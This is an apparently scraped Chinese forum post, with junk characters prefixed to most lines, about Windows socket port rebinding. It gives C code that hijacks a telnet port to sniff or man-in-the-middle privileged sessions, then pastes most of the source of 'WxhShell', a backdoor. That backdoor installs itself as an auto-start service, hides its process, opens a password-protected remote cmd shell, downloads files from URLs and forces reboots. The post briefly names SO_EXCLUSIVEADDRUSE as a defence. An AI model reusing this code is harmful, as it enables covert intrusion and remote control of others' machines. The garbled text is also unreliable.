在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>tN5vWW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%NNj9Bl<VV iHPUmTus-- saddr.sin_family = AF_INET;
Z a!
gbt `19qq] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U_]=E<el B`i$Wt<7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
j_p`Ng z)
:ka"e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
j1/+\8Y Oukd_Ryf 这意味着什么?意味着可以进行如下的攻击:
:$Q`>k7A 1Pm4.C) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V\0E=M*P I!P4(3skAB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8) HBh7/ ]%
K'
fXj$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
D&/I1=\( i0>]CJG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W RF.[R" 0LdJZP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
F>*{e +~N!9eMc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=~&VdPZ )>V?+L5M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;+a2\j+ msiu8E #include
=-w;zx #include
xYPxg! #include
z`4c 4h]I #include
RND9D\7 DWORD WINAPI ClientThread(LPVOID lpParam);
S`0NPGn;@[ int main()
9YD\~v;x {
sf$o(^P9\A WORD wVersionRequested;
#AShbl jm+ DWORD ret;
\Wr,<Y WSADATA wsaData;
l-<`m#/v BOOL val;
qw<HY$3= SOCKADDR_IN saddr;
/&r|ec5 SOCKADDR_IN scaddr;
KFU%DU G int err;
6kN:* SOCKET s;
0Qnd6mb SOCKET sc;
\9`#]#1bx5 int caddsize;
c+g@Z"es HANDLE mt;
`PgdJrE DWORD tid;
k[%aCGo wVersionRequested = MAKEWORD( 2, 2 );
lNz]HiD err = WSAStartup( wVersionRequested, &wsaData );
4jX3lq| if ( err != 0 ) {
x:fW~!Xc6 printf("error!WSAStartup failed!\n");
7CGyC[[T~ return -1;
z8"7u/4v{ }
gv|"OlB saddr.sin_family = AF_INET;
?{6s58Q{ I`T1Pll //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BJk
Z2= H}/05e saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Wpr
,jN8b saddr.sin_port = htons(23);
uR$i48} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y]Vq\]m\ {
BRzfic:e printf("error!socket failed!\n");
`XJm=/f return -1;
"j^MB)YD }
]A^4}CK^< val = TRUE;
2%]Z
Kd //SO_REUSEADDR选项就是可以实现端口重绑定的
^nNitF
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
BhkoSkr {
[ *>AN7W printf("error!setsockopt failed!\n");
[c~kF+8 return -1;
V
kjuyK }
9AQxNbs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cE\>f8 I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!Ms[eB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
yCP4r6X0 pr&=n;_ n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/<{: I \< {
D d,2;#_ ret=GetLastError();
[M%._u, printf("error!bind failed!\n");
dg_G s>?2 return -1;
ac8P\2{" }
A6!F@Ic[ listen(s,2);
A&"%os while(1)
H
C0w;MG) {
?6"{!s{v caddsize = sizeof(scaddr);
.4-,_`T? //接受连接请求
>/=> B7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GpI!J}~m if(sc!=INVALID_SOCKET)
+?dl`!rE {
VUwC-) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;+/o?:AH if(mt==NULL)
%IY``r)j {
{A:j[ printf("Thread Creat Failed!\n");
:J/M,3 break;
-LW[7s$ }
'xE
_Cj }
Ii&7rdoxe CloseHandle(mt);
t:)ERT") }
e<cM[6H'D closesocket(s);
j Ux
z WSACleanup();
+>\id~c( return 0;
MTOy8 Im }
1:M@&1LYp DWORD WINAPI ClientThread(LPVOID lpParam)
}4//@J?: {
g(|{')8?d SOCKET ss = (SOCKET)lpParam;
AUe# RP SOCKET sc;
~1L:_Sg* unsigned char buf[4096];
OLC{iD# SOCKADDR_IN saddr;
7.g[SBUOG long num;
t2BL(yB DWORD val;
,|kDsR! DWORD ret;
jE\Sm2G9 //如果是隐藏端口应用的话,可以在此处加一些判断
om h{0jA0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7U|mu~$.! saddr.sin_family = AF_INET;
0#cy=*E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,yd= e}lQx saddr.sin_port = htons(23);
_zWfI.o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qIMA6u/ {
De&6 9 printf("error!socket failed!\n");
.iD*>M:W return -1;
2lVHZ\G }
"Wo,'8{v val = 100;
JW.=T) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9f+>ix,ek* {
C3NdE_E ret = GetLastError();
'T<iHV& return -1;
}Gyqq6Aeb }
VVP:w%yW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~m^ #FJu {
/3 B
$( ret = GetLastError();
!> }.~[M return -1;
ig}A9j?] }
\p{5D`HY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\*f;X aa {
e[_m<e printf("error!socket connect failed!\n");
qMt++*Ls closesocket(sc);
E.|-?xQ6 closesocket(ss);
YH&bD16c3 return -1;
9o*,P,j'} }
6(d }W2GP while(1)
,Uhb {
>9e(.6&2XZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
G6@M&u5RT //如果是嗅探内容的话,可以再此处进行内容分析和记录
@f]{>OS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
A+J*e num = recv(ss,buf,4096,0);
_BdE<
!r if(num>0)
0sca4G0{ send(sc,buf,num,0);
Bw%Qbs0Q else if(num==0)
+5VLw break;
*}k;L74| num = recv(sc,buf,4096,0);
^sN ( if(num>0)
U8qtwA9t send(ss,buf,num,0);
^V$Ajt else if(num==0)
ivDGZI9 break;
.
8N.l^0, }
FIxFnh3~ closesocket(ss);
]I3!fEAWR closesocket(sc);
JRCrZW} return 0 ;
<S?ddp2 }
< -W*$?^ W@|6nPm +)o}c"P! ==========================================================
^j-3av= EF3Cdu{]P 下边附上一个代码,,WXhSHELL
^WBuMCe Z87_ #5 ==========================================================
5p.rwNE dT,o=8fg #include "stdafx.h"
"BX! {ZY+L;eg1 #include <stdio.h>
P) 3mX.(} #include <string.h>
.`>y@p! #include <windows.h>
J{^RkGF #include <winsock2.h>
E4m` #include <winsvc.h>
,|&9M^ #include <urlmon.h>
A\8}|r(>9E K2%w0ohC #pragma comment (lib, "Ws2_32.lib")
P(F+f`T #pragma comment (lib, "urlmon.lib")
|$5[(6T| #9K-7je;j #define MAX_USER 100 // 最大客户端连接数
a7N!B' y #define BUF_SOCK 200 // sock buffer
3Zi@A4Wu #define KEY_BUFF 255 // 输入 buffer
k'0Pi6 -B86U6^s #define REBOOT 0 // 重启
^%O]P`$ #define SHUTDOWN 1 // 关机
V5*OA??k< \=_{na_ #define DEF_PORT 5000 // 监听端口
Y ')x/H 6k#Jpmmr #define REG_LEN 16 // 注册表键长度
!%$`Eq)M^7 #define SVC_LEN 80 // NT服务名长度
qucq,Yw L:@7tc. // 从dll定义API
+\v?d&.f0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q7W>qe%4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
dAy?EO0\7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Q-1vw6d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)7h$G-fe rRFhGQq1m // wxhshell配置信息
6{txm+U struct WSCFG {
itC-4^ int ws_port; // 监听端口
Ja9e^`i; char ws_passstr[REG_LEN]; // 口令
uu`G 2[t int ws_autoins; // 安装标记, 1=yes 0=no
S~|T4q( char ws_regname[REG_LEN]; // 注册表键名
72'5%*1 char ws_svcname[REG_LEN]; // 服务名
pR~U`r5z char ws_svcdisp[SVC_LEN]; // 服务显示名
iX)%Q char ws_svcdesc[SVC_LEN]; // 服务描述信息
CHz+814 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_4g.j int ws_downexe; // 下载执行标记, 1=yes 0=no
ocs+d\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1dK*y'rx char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-Z's@'* =Q\r?(Iy };
D*lKn62 7Hs%Cc" // default Wxhshell configuration
EY tQw(!Q struct WSCFG wscfg={DEF_PORT,
fk&8]tK4 "xuhuanlingzhe",
1')%`~ 1,
'3g[]M@M "Wxhshell",
b9!FC$^J "Wxhshell",
4ecP*g "WxhShell Service",
<)3u6Vky9 "Wrsky Windows CmdShell Service",
EVGt 5z "Please Input Your Password: ",
A,a.8!*}vd 1,
S_Wrw z "
http://www.wrsky.com/wxhshell.exe",
,N)/w1?I "Wxhshell.exe"
@H=:)*; };
x@[rms
DP|D\+YyYA // 消息定义模块
xoN3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
i*Z"Me char *msg_ws_prompt="\n\r? for help\n\r#>";
<*qnY7c&N; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#?S^kM-0 char *msg_ws_ext="\n\rExit.";
6ZP"p<xX char *msg_ws_end="\n\rQuit.";
Q637N|01 char *msg_ws_boot="\n\rReboot...";
t;}:waZD char *msg_ws_poff="\n\rShutdown...";
`7r@a char *msg_ws_down="\n\rSave to ";
yPal<c 3qf
Ym}d char *msg_ws_err="\n\rErr!";
r [*Vqcz char *msg_ws_ok="\n\rOK!";
va0{>Dc+ jEZMUqGY! char ExeFile[MAX_PATH];
6}!#;@D~ int nUser = 0;
Eqj_m|@ HANDLE handles[MAX_USER];
rogT~G}q int OsIsNt;
`9BROZnq o6uJyCO SERVICE_STATUS serviceStatus;
~GZY 5HF SERVICE_STATUS_HANDLE hServiceStatusHandle;
Hhcpp7cr' rp;b" q // 函数声明
(^Y~/ int Install(void);
i uF*.hc,% int Uninstall(void);
IhVO@KJI int DownloadFile(char *sURL, SOCKET wsh);
y#3j`. $3p int Boot(int flag);
?k(7 LX0j void HideProc(void);
`)_dS&_\ int GetOsVer(void);
TOB]IrW int Wxhshell(SOCKET wsl);
{A05u3} void TalkWithClient(void *cs);
'ZDp5pCC; int CmdShell(SOCKET sock);
oY933i@l)P int StartFromService(void);
AT2n VakL int StartWxhshell(LPSTR lpCmdLine);
=\H!GT PoxK{Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^rifRY-,yO VOID WINAPI NTServiceHandler( DWORD fdwControl );
!:q/Ye3. ,X`)ct // 数据结构和表定义
sTn<#l6 SERVICE_TABLE_ENTRY DispatchTable[] =
hHV";bk {
,[P{HrHx {wscfg.ws_svcname, NTServiceMain},
hpO`] {NULL, NULL}
o!kbK#k };
~f$|HP} SAy=WV // 自我安装
AP'*Nh@Ik( int Install(void)
I|^;B8[ {
{y=j?lD char svExeFile[MAX_PATH];
K/IWH[ HKEY key;
wk5s)%V strcpy(svExeFile,ExeFile);
Ab{ K<:l W04@!_) < // 如果是win9x系统,修改注册表设为自启动
2AT5 if(!OsIsNt) {
H|3:6x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Uq^#r iq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zh8nc%X{ RegCloseKey(key);
[YlKR'_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[XEkz#{
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;DFSzbF` RegCloseKey(key);
snobT Q return 0;
`4=^cyt+ }
n*[XR`r} }
;:\<gVi: }
au:
fw else {
/_I]H 1g8_Xe4 // 如果是NT以上系统,安装为系统服务
}fb#G<3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
f4 P8Oz if (schSCManager!=0)
TQpf Q {
'
aq!^!z SC_HANDLE schService = CreateService
$u]jy0X<Y; (
_K l_61k schSCManager,
Oo5w?+t wscfg.ws_svcname,
`6~Aoe wscfg.ws_svcdisp,
"s0)rqf< SERVICE_ALL_ACCESS,
WW4vn|0v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
v%+:/m1 SERVICE_AUTO_START,
J8uLJ SERVICE_ERROR_NORMAL,
:XZU&Sr" svExeFile,
tn(JC%?^ NULL,
}wr{W:j NULL,
RJ 8+h NULL,
dCi?SIN NULL,
$'BSH4~|. NULL
I*{4rDt );
+ jc!5i . if (schService!=0)
Q=;U@k@> {
Mo?~_|} CloseServiceHandle(schService);
V58wU:li CloseServiceHandle(schSCManager);
*|%@6I( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=,spvy'"*C strcat(svExeFile,wscfg.ws_svcname);
nAW:utTB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%b&".mN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l{I6&^!KS RegCloseKey(key);
($au:'kU
return 0;
Cl;oi}L }
Rdvk
ml@@ }
vQosPS_2L CloseServiceHandle(schSCManager);
\?[v{WP) }
5na~@-9p }
Uc7mOa}4 @XLy7_} return 1;
`Q|*1 }
(eI5_`'VC KHe=O1 %QO // 自我卸载
*X'Y$x>f int Uninstall(void)
adCU61t {
`^u>9v-+' HKEY key;
XG{{ 2f $$|rr G if(!OsIsNt) {
Cn'(<bl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"-e
\p lKj RegDeleteValue(key,wscfg.ws_regname);
G18F&c~ RegCloseKey(key);
sqEI4~514 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R "n5 RegDeleteValue(key,wscfg.ws_regname);
^U
`[(kz= RegCloseKey(key);
Ixb=L(V return 0;
q)LMm7 }
:o0JY= 5 }
|n+qMql' }
sy:[T T!w else {
LJd5;so- D>/0v8
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
LLk(l#K* if (schSCManager!=0)
77C'*tt1] {
K&POyOvT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e-:yb^ if (schService!=0)
.{ocV#{s {
jF ^~p9z if(DeleteService(schService)!=0) {
msP{l^%0 CloseServiceHandle(schService);
UtPLI al CloseServiceHandle(schSCManager);
!}YAdZJ return 0;
%`>nS@1zp }
?I6fye7 CloseServiceHandle(schService);
?k]2*}bz }
>zw.GwN| CloseServiceHandle(schSCManager);
q*U*Fu+ }
$Z.7zH }
nxUJN1b!N _-q.Q^ return 1;
pWy=W&0~qf }
YLqGRE`W $bW3_rl%X // 从指定url下载文件
f\]sz?KY int DownloadFile(char *sURL, SOCKET wsh)
_,p/l&< {
$+P>~X) HRESULT hr;
?oVx2LdD| char seps[]= "/";
M2
,YsHt
char *token;
%-)H^i~]% char *file;
X &uTSgN char myURL[MAX_PATH];
AJh w char myFILE[MAX_PATH];
1n=lqn/ &~8oQC-eF strcpy(myURL,sURL);
N >FKy'.gk token=strtok(myURL,seps);
uD\?(LM while(token!=NULL)
<v)1<*I {
DK$X2B"c V file=token;
JLnH&(O token=strtok(NULL,seps);
{K+icTL3 }
(KFCs^x7wG C<NLE- GetCurrentDirectory(MAX_PATH,myFILE);
oC<.=2] strcat(myFILE, "\\");
g<l1zo`_ strcat(myFILE, file);
JSkLEa~< send(wsh,myFILE,strlen(myFILE),0);
l n{e1':$" send(wsh,"...",3,0);
3L<wQ( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
7op`s5i if(hr==S_OK)
&+cEV6vb+ return 0;
^Y=\#-Dd else
_2hS";K return 1;
GC>e26\: _y),J'W^3u }
LgKaPg$ k`So -e- // 系统电源模块
CLRiJ*U int Boot(int flag)
ZIf {
5*j?E HANDLE hToken;
/I1h2E TOKEN_PRIVILEGES tkp;
0rOfrTNOz% )k\H@Dy%$ if(OsIsNt) {
+1uF !G&l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
U}6B*Xx' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6ys
&zy tkp.PrivilegeCount = 1;
iI\oz&!vH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[0(B>a3J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
N/Z2hn/m if(flag==REBOOT) {
",^Mxm{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
kqM045W7 return 0;
s"0Y3x3 }
!F1M(zFD else {
T^Y([23 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[h^2Y&Au5 return 0;
mR&H9NG }
c#|raXGT }
nH`Q#ZFz]? else {
{t0)
q if(flag==REBOOT) {
=7w\
7-.m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9Xj7~, return 0;
19HM])Zw\ }
f({Ei`| else {
}@;ep&b* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
UELy"z
R return 0;
x,rlrxI }
>64P6P;S }
uEktQ_u[ OHeT,@(mh return 1;
<L"GqNuRQ }
Jl5c
[F ox(j^x]NC // win9x进程隐藏模块
pnjXf.g"O void HideProc(void)
-&3hEv5 {
&7`^i.fh) Jll-`b 1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V#XppYU if ( hKernel != NULL )
F ~^Jmp7Y {
:<hXH^n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
6kNrYom ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{)BTR %t FreeLibrary(hKernel);
{zn!vJX }
n;@bLJ$W ;nodjbr,j return;
{U1?Et# }
Fx;QU)1l3 P!H_1RwXKC // 获取操作系统版本
cd(GvX' int GetOsVer(void)
'
0J1vG~c {
ZZHDp&lh} OSVERSIONINFO winfo;
{@+Ty]e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
KVn []@# GetVersionEx(&winfo);
*~t6(v? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P{wF"vf return 1;
J%x\=Sv else
BQ=PW|[ return 0;
0w)^) }
l:j4Ft 8 3QG7C{ // 客户端句柄模块
hWD;jR int Wxhshell(SOCKET wsl)
IFF92VD& {
6^eV"&+@ SOCKET wsh;
77\]B struct sockaddr_in client;
8,C*4y~ DWORD myID;
.?R!DYC` 9aze>nxh. while(nUser<MAX_USER)
jz
qyk^X {
%p2Sh)@M int nSize=sizeof(client);
3BtaH#ZY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
,Wk?I%> if(wsh==INVALID_SOCKET) return 1;
]j`c]2EuP ~:Ll&29i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SKkUU^\#R` if(handles[nUser]==0)
nEJY5Bz$ closesocket(wsh);
n2)@S0{ else
qU#1i:(F* nUser++;
f@Zszt }
Q36qIq_0e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
V:VO[e<e ~GL]wF2# return 0;
n ~shK<!C }
-'t)=YJ gk"$,\DI // 关闭 socket
c_vqL$Dl void CloseIt(SOCKET wsh)
cc~O&?)i {
n=y[CKS closesocket(wsh);
%-c*C $ nUser--;
hw=
Ft4L ExitThread(0);
3HcQ(+Z }
nlW +.a[ 7ccO93Mz // 客户端请求句柄
j2QmxTa! void TalkWithClient(void *cs)
/SrCElabP {
45,1-? -! j)<IRD^ SOCKET wsh=(SOCKET)cs;
Jl#%uU/sx char pwd[SVC_LEN];
vb<oi&X char cmd[KEY_BUFF];
e[&L9U6GW- char chr[1];
KG|n int i,j;
LR".pH13 nV -mPyfL8 while (nUser < MAX_USER) {
^,/RO5 PIdikA if(wscfg.ws_passstr) {
?4q4J8j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/5Oa,NS7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^j31S*f&: //ZeroMemory(pwd,KEY_BUFF);
+^=8ge} i=0;
56zL"TF` while(i<SVC_LEN) {
B?'#4J =;2%a( // 设置超时
{L/ tst#C fd_set FdRead;
Y@N,qHtz struct timeval TimeOut;
SqEgn}m$ FD_ZERO(&FdRead);
-jb0o/: FD_SET(wsh,&FdRead);
G(p`1~xm TimeOut.tv_sec=8;
Wu[&Wv~ TimeOut.tv_usec=0;
{ g/0x,-Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/v-6WSN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!4XOy B }:us:% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@?yX!_YC pwd
=chr[0]; ]yK7PH-{L
if(chr[0]==0xd || chr[0]==0xa) { BG6B :
pwd=0; eZIhEOF
break; AiEd!u.
} ~Y|*`C_)
i++; @mw5~ +
} k <=//r
ca7=V/i_a{
// 如果是非法用户,关闭 socket k1{K*O$e
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wt!nMQ
} /s@o Z{h
VyzS^AHK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e4H A7=z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =5/9%P8j9
8<8:+M}
while(1) { pTPi@SBaP{
|iE50,
ZeroMemory(cmd,KEY_BUFF); dQV;3^iUY
YQHw1
// 自动支持客户端 telnet标准 }<@b=_>S
j=0; WD]pU
while(j<KEY_BUFF) { oSyyd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HCyv ]LR
cmd[j]=chr[0]; ts\5uiB<%
if(chr[0]==0xa || chr[0]==0xd) { zsX1 QN16
cmd[j]=0; nExU#/*~^
break; wO'TBP
} YH vLGc%
j++; ^p[rc@+
} ?OcJ)5C4
UTH*bL5/J2
// 下载文件 iV'k}rXC
if(strstr(cmd,"http://")) { N/%WsQp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /178A;Jy
if(DownloadFile(cmd,wsh)) H*ow\
Ct
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'p>Ra/4
else }001K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sf)EMh3Z
} L ^q""[
else { w80oXXs[#
,l!Ta"
switch(cmd[0]) { _FH`pv
B8f8w)m
// 帮助 `|{-+m
case '?': { _P0T)-X\(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "e.jZcN*
break; 7
n8"/0kc:
} fI&t]
// 安装
coW:DFX
case 'i': { &;^YBW :I
if(Install()) }=<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC++&Nk
else Z/k:~%|E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kW;+|qs^
break; #Y*X<L
} llcb~
// 卸载 ,{M^-3C
case 'r': { )'l:K.F
if(Uninstall()) j[`j9mM8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^Hm;BiE#
else hQYL`Dni
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D{GfLib"U
break; F*IzQ(#HW
} >AVVEv18
// 显示 wxhshell 所在路径 t;W0"ci9
case 'p': { #|L8tuWW
char svExeFile[MAX_PATH]; +R3k-' >
strcpy(svExeFile,"\n\r"); 39:bzUIF
strcat(svExeFile,ExeFile); ?9e_gV{&;
send(wsh,svExeFile,strlen(svExeFile),0); O_`VV*
break;
}Yb[
} IpYM;tYw&
// 重启 pMw*9sX
case 'b': { IwQ"eUnK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eD,.~Y#?=
if(Boot(REBOOT)) _zY#U9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &dqLP95
else { C _'%NlJ'
closesocket(wsh); .+PI}[g
ExitThread(0); u+Y\6~=+
} z* ^_)Z
break; tr<Nm6!
} Hx"ob_^'7
// 关机 nV"~-On
case 'd': { e>6y%v;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dBYmiF!+
if(Boot(SHUTDOWN)) wjHzE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%sluT[#
else { C'9Cr}cZ.
closesocket(wsh); ??^5;P{yx
ExitThread(0); GWZ
}7ake
} uxXBEq;
break; J%u=Ucdh
} 0(eBZdRO
// 获取shell a L} %2
case 's': { 2;k*@k-t
CmdShell(wsh); Sdp&jZY
closesocket(wsh); x-$&g*<
ExitThread(0); VJeu8ZJ.
break; VEWi_;=J1
} &v56#lG
// 退出 [4YTDEv%
case 'x': { >"^ O"E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nv#t:J9f
CloseIt(wsh); ;Y00TGU
break; LhA*F[6$M
} (up~[
// 离开 ]OM"ZG/^
case 'q': { c/D+|X*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {j9{n
closesocket(wsh); ,k24w7K%d
WSACleanup(); V3&RJ k=b
exit(1); ]] !VK
break; y&6FybIz
} "Lzi+1
} ^H~h\,;zQ
} p*< 0"0
yMG1XEhuG
// 提示信息 (ceNO4"cZ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X3{G:H0\p
} yQU{zY
} Z-^LKe
=O&%c%~q
return; $mu^G t
} *1uKr9
o*-)Tq8GHE
// shell模块句柄 U_M$#i{_
int CmdShell(SOCKET sock) '}9x\3E
{ hpHr\g
STARTUPINFO si; #*D)Q/k
ZeroMemory(&si,sizeof(si)); |t^E~HLm,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .k#U]M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x.]i}mt
PROCESS_INFORMATION ProcessInfo; Q8T]\6)m
char cmdline[]="cmd"; 1#C4;3i,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b,5~b&<h
return 0; .8@$\ZRP
} (jnQ
-
D[4u+g?[}>
// 自身启动模式 r)lEofX,g+
int StartFromService(void) 8NxM4$nQX
{ B}n,b#,*
typedef struct |9u OUE
{ 0@[$lv;OS
DWORD ExitStatus; 8*W#DH!
DWORD PebBaseAddress; .I7pA5V{#
DWORD AffinityMask; 6g2a[6G5
DWORD BasePriority; S'k_olx7
